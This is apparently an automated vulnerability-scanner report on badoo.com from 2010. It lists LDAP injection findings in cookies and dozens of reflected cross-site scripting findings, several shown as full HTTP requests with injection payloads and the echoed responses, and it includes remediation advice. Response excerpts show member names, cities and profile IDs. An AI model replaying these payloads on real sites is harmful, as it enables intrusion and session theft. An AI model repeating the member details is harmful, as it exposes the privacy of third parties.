If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

2.1. http://badoo.com/doritos699/ [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The __utmb cookie appears to be vulnerable to LDAP injection attacks.

The payloads 186605fcfe2ce414)(sn=* and 186605fcfe2ce414)!(sn=* were each submitted in the __utmb cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=186605fcfe2ce414)(sn=*; t=1|7779|8|10039|cr|7779

Response 1

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 16:23:47 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 16:23:46 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 15150

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/01051468378/" class="mp_l"><img src="http://66.175.123.172/500/7/1/7/1051468378/167943/t1274576472/458988_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Elizabeth</a></big> <small class="mp_p">Los Angeles</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01127449740/" class="mp_l"><img src="http://66.175.123.175/559/1/3/8/1127449740/239609/t1287609554/239620_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />David</a></big> <small class="mp_p">Colorado Springs</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01118988742/" class="mp_l"><img src="http://66.175.123.171/515/8/1/7/1118988742/579785/t1274571290/584539_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Michelle</a></big> <small class="mp_p">Houston</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01127383408/" class="mp_l"><img src="http://66.175.123.170/609/3/7/8/1127383408/238725/t1287244337/241660_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Paul</a></big> <small class="mp_p">Peekskill</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01115459237/" class="mp_l"><img src="http://66.175.123.110/517/0/4/7/1115459237/501024/t1274576118/551333_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Lidia</a></big> <small class="mp_p">Idaho Falls</small> </span> </li> </ul> <div class="mp_s"><b><a href="http://badoo.com/dating/usa/?gid=185756280" class="mp_sl" rel="nofollow">Show all 1,850,082 people in United States…</a></b></div> <div class="st_block_br"></div> <div class="sidesection"> </div> </div> </div> </div></div> <div id="footer">  <di
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 16:23:48 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 16:23:47 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 15135

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/01107756915/" class="mp_l"><img src="http://66.175.123.128/522/9/5/1/1107756915/426298/t1272977047/529921_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Karla</a></big> <small class="mp_p">Bozeman</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01128899887/" class="mp_l"><img src="http://66.175.123.124/628/7/6/4/1128899887/267922/t1288383589/267937_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Alvaro</a></big> <small class="mp_p">Miami</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01115768732/" class="mp_l"><img src="http://66.175.123.179/546/3/1/6/1115768732/508346/t1285832497/660381_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Zakia</a></big> <small class="mp_p">Brooklyn</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01128437450/" class="mp_l"><img src="http://66.175.123.180/622/6/5/6/1128437450/260504/t1288383565/265920_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Rick</a></big> <small class="mp_p">Oakland</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01115765241/" class="mp_l"><img src="http://66.175.123.170/510/7/3/0/1115765241/245927/t1272977478/245957_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Grace Stampf</a></big> <small class="mp_p">Long Valley</small> </span> </li> </ul> <div class="mp_s"><b><a href="http://badoo.com/dating/usa/?gid=185756280" class="mp_sl" rel="nofollow">Show all 1,850,082 people in United States…</a></b></div> <div class="st_block_br"></div> <div class="sidesection"> </div> </div> </div> </div></div> <div id="footer">  <div id="footwrap"
...[SNIP]...

2.2. http://badoo.com/webone/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/webone/

Issue detail

The __utmc cookie appears to be vulnerable to LDAP injection attacks.

The payloads 989effa957c842cd)(sn=* and 989effa957c842cd)!(sn=* were each submitted in the __utmc cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /webone/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=989effa957c842cd)(sn=*; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:52:00 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:59 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 10841

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/signin/hidden?euri=uxELSScSIp0BwHBEnks7bteky4GZO41Cm1u8JxHDmY7fHF3AOR59QyBxzLF7lQVTwFErOSPBi1zS3yDl3tV4OMAK9tgQvFdBbBBuBcVugeaNNnwb753lsQ">sign in</a> to see this profile.</big></p> </div> </div> </div> <div class="pf_side"> <h4 class="mp_h wom">More members</h4> <ul class="mp"> <li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01120880136/" class="mp_l"><img src="http://66.175.123.116/592/6/9/6/1120880136/559465/t1288629548/571289_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Jesus</a></big> <small class="mp_p">Pomona</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01125409873/" class="mp_l"><img src="http://66.175.123.171/569/8/2/0/1125409873/536177/t1286958144/536196_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Nenita</a></big> <small class="mp_p">Los Angeles</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01120880828/" class="mp_l"><img src="http://66.175.123.175/504/4/1/9/1120880828/452529/t1281034573/452534_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Sam</a></big> <small class="mp_p">Springfield</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01125605871/" class="mp_l"><img src="http://66.175.123.120/628/0/0/6/1125605871/493011/t1287591598/493052_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Iris</a></big> <small class="mp_p">Orange</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01111702810/" class="mp_l"><img src="http://66.175.123.179/547/7/5/4/1111702810/460026/t1281034936/606144_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Gustavo</a></big> <small class="mp_p">Manchester</small> </span> </li> </ul> <div
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:52:00 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:59 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 10852

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/signin/hidden?euri=6PwcJCUILjGMgTMlMVruetXj9d2tX43On58ygWcujBkzx1wNLENWHvo-Cx5hsOQuyYnZc4lFu0eGVzHlBsv.vLr5azWr6S.RJCPrg12dDozB58nUCf5FkA">sign in</a> to see this profile.</big></p> </div> </div> </div> <div class="pf_side"> <h4 class="mp_h wom">More members</h4> <ul class="mp"> <li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01118771623/" class="mp_l"><img src="http://66.175.123.100/535/6/9/4/1118771623/512847/t1277273779/533157_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Cesar</a></big> <small class="mp_p">Astoria</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01110305419/" class="mp_l"><img src="http://66.175.123.174/520/2/2/6/1110305419/338255/t1266388519/338268_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Steffany</a></big> <small class="mp_p">Houston</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01093453872/" class="mp_l"><img src="http://66.175.123.128/546/7/1/6/1093453872/444196/t1275036559/574901_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Ahmed</a></big> <small class="mp_p">Palestine</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01110334514/" class="mp_l"><img src="http://66.175.123.182/572/3/3/0/1110334514/396092/t1280719326/396122_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Tata</a></big> <small class="mp_p">Killeen</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01118501646/" class="mp_l"><img src="http://66.175.123.170/521/5/1/9/1118501646/735046/t1275036559/746450_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Rickjaard Ahmed Alcerro</a></big> <small class="mp_p">Miami</small> </span> </li>
...[SNIP]...

3. Cross-site scripting (reflected) previous next
There are 51 instances of this issue:

/ [name of an arbitrarily supplied request parameter]
/01029820524/ [REST URL parameter 1]
/01038220576/ [REST URL parameter 1]
/01046694418/ [REST URL parameter 1]
/01053885754/ [REST URL parameter 1]
/01055383438/ [REST URL parameter 1]
/019278355/ [REST URL parameter 1]
/02311783/ [REST URL parameter 1]
/041636801/ [REST URL parameter 1]
/09303027/ [REST URL parameter 1]
/093407644/ [REST URL parameter 1]
/096807871/ [REST URL parameter 1]
/2rcabrera/ [REST URL parameter 1]
/aammetys/ [REST URL parameter 1]
/about/ [REST URL parameter 1]
/about/ [name of an arbitrarily supplied request parameter]
/andresitopapito/ [REST URL parameter 1]
/association/ [REST URL parameter 1]
/dating/ [REST URL parameter 1]
/dating/ [name of an arbitrarily supplied request parameter]
/dinoitalia/ [REST URL parameter 1]
/dinoitalia/ [name of an arbitrarily supplied request parameter]
/directory/people/ [REST URL parameter 1]
/doritos699/ [REST URL parameter 1]
/facebook/auth.phtml [REST URL parameter 1]
/geer/ [REST URL parameter 1]
/guidelines/ [REST URL parameter 1]
/guidelines/ [name of an arbitrarily supplied request parameter]
/help/ [REST URL parameter 1]
/help/ [name of an arbitrarily supplied request parameter]
/import/ [REST URL parameter 1]
/import/ [name of an arbitrarily supplied request parameter]
/karliitaalaniis/ [REST URL parameter 1]
/languages/ [REST URL parameter 1]
/languages/ [name of an arbitrarily supplied request parameter]
/lucasdimedio/ [REST URL parameter 1]
/nelsua/ [REST URL parameter 1]
/privacy/ [REST URL parameter 1]
/privacy/ [name of an arbitrarily supplied request parameter]
/pronico/ [REST URL parameter 1]
/signin/ [REST URL parameter 1]
/signin/ [name of an arbitrarily supplied request parameter]
/signup/ [REST URL parameter 1]
/signup/ [REST URL parameter 1]
/signup/ [name of an arbitrarily supplied request parameter]
/tarabell/ [REST URL parameter 1]
/terms/ [REST URL parameter 1]
/terms/ [name of an arbitrarily supplied request parameter]
/veletanga77/ [REST URL parameter 1]
/vianey06/ [REST URL parameter 1]
/webone/ [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

3.1. http://badoo.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eceae"><script>alert(1)</script>808e8e3392c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?eceae"><script>alert(1)</script>808e8e3392c=1 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=0JlA5YL_pJm.L2bjGHc.G11AGp2Syprfb; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:50:11 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 59484

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1
...[SNIP]...
<a href="http://badoo.com/?lang_id=5&eceae"><script>alert(1)</script>808e8e3392c=1">
...[SNIP]...

3.2. http://badoo.com/01029820524/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/01029820524/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb6d9"><script>alert(1)</script>b7abf3c067f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /01029820524cb6d9"><script>alert(1)</script>b7abf3c067f/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:14 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:13 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/01029820524cb6d9"><script>alert(1)</script>b7abf3c067f/?lang_id=5">
...[SNIP]...

3.3. http://badoo.com/01038220576/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/01038220576/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 368c4"><script>alert(1)</script>0a2312c5310 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /01038220576368c4"><script>alert(1)</script>0a2312c5310/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:54:11 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:10 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/01038220576368c4"><script>alert(1)</script>0a2312c5310/?lang_id=5">
...[SNIP]...

3.4. http://badoo.com/01046694418/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/01046694418/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27c99"><script>alert(1)</script>47ac93ee90e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /0104669441827c99"><script>alert(1)</script>47ac93ee90e/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:07 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:06 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/0104669441827c99"><script>alert(1)</script>47ac93ee90e/?lang_id=5">
...[SNIP]...

3.5. http://badoo.com/01053885754/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/01053885754/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6787e"><script>alert(1)</script>250a1a9d447 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /010538857546787e"><script>alert(1)</script>250a1a9d447/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:56:47 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:46 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/010538857546787e"><script>alert(1)</script>250a1a9d447/?lang_id=5">
...[SNIP]...

3.6. http://badoo.com/01055383438/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/01055383438/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42bea"><script>alert(1)</script>8af082f3ab1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /0105538343842bea"><script>alert(1)</script>8af082f3ab1/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:54:52 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:51 GMT; path=/; domain=.badoo.com
